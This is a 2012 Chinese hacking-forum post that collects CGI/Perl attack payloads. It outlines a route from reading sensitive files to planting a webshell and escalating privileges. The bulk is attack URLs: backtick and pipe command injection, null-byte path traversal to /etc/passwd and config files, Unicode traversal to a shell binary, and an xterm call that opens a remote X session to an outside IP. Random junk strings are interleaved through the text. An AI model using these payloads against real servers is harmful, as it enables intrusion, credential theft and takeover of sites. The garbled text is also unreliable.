找回密码
 立即注册
查看: 3107|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
0 r7 D# c' o! a6 b, B- d5 {cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  8 {/ b! h6 h+ J7 D
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  4 t3 ~( i+ j2 s- u! V: W
注“  " m0 S7 N  x8 E
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  " {" v/ _% s# ]: J
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  + W! P# ?* i  f8 ~1 q& T, e$ y, ]
  o/ Q. O0 w, b) `& a* t5 F
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  ' v- N8 A+ h$ V
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢    K& W0 m8 Y; K9 Y- h- f: Y1 `) f" f* X
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
5 b6 ]" \; t: S. ihttp://target.com/cgi-bin/home/news/sub.pl?`id`  ' ~8 X$ l) [( L2 H# n+ E
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
; e5 m  C$ m0 J# {, y' Jhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
; v( N8 q0 W! R# Z( T9 @! l
  A1 r- t6 Z" b5 N: ~, Thttp://target.com/test.pl;ls|  0 \% r: Y  Y) L% v2 z/ ]
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  - z: G1 d0 Z& J8 P) A
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  ! x6 ?# L$ v  P+ p4 {4 o7 `
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
. u' C2 h: q. f, h% K2 ~比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  4 Z) K5 l5 q/ i; y
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
9 F. F1 @' d$ z6 p
# g0 R/ O7 ^1 Uhttp://target.com/test.pl?&........ /../../etc/passwd  ) u2 G! Q" @0 a3 m" G: _) X

& I  F6 O( w' I3 t+ }1 Rhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
. R4 O1 a9 \& l* t7 Jhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  5 J2 W8 z+ b0 H1 a
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
4 F7 x; {8 a# w
/ Y7 a7 _( ]8 v- h4 X- j& B7 u6 dhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  0 \7 A1 t  Y& S6 x: n6 Q7 W
http://www.target.org/show.php?f ... ng/admin/global.php  
- j& \( f  o7 ]1 ~
' p/ c# n4 L' c0 U' x* G7 semm和ps的一句话) A- V# e& N+ X% R) D+ \# V

" ^9 h. G5 ]* Ihttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  / H: t& k/ Y: N2 _7 r
! }9 l0 U! {4 g- E
>bbb%20|  9 |( {: }, ~: K) S1 m. V
; U, n6 l( P5 ~, ~: O
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
# W' n  e3 f' }( C6 ]: c$ W5 b& B
  X' A: P  [( E; Z9 G0 R0 Uhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  , V' ]4 {/ L2 K2 _, g( j: c
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
9 C8 R4 A  i1 q. P4 d3 \9 @, a& [
" b7 m) ]/ F4 x相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  & D! Y- M; |9 Q5 s( ~
http://target.com/index.html#cmd.exe  
, R7 f9 c+ x% ]) q; \# h7 Bhttp://target.com/index.html?dummyparam=xp_cmdshell  , R' [3 a9 K& c+ M: p. q. s- a
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  & K! T! q/ j, l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表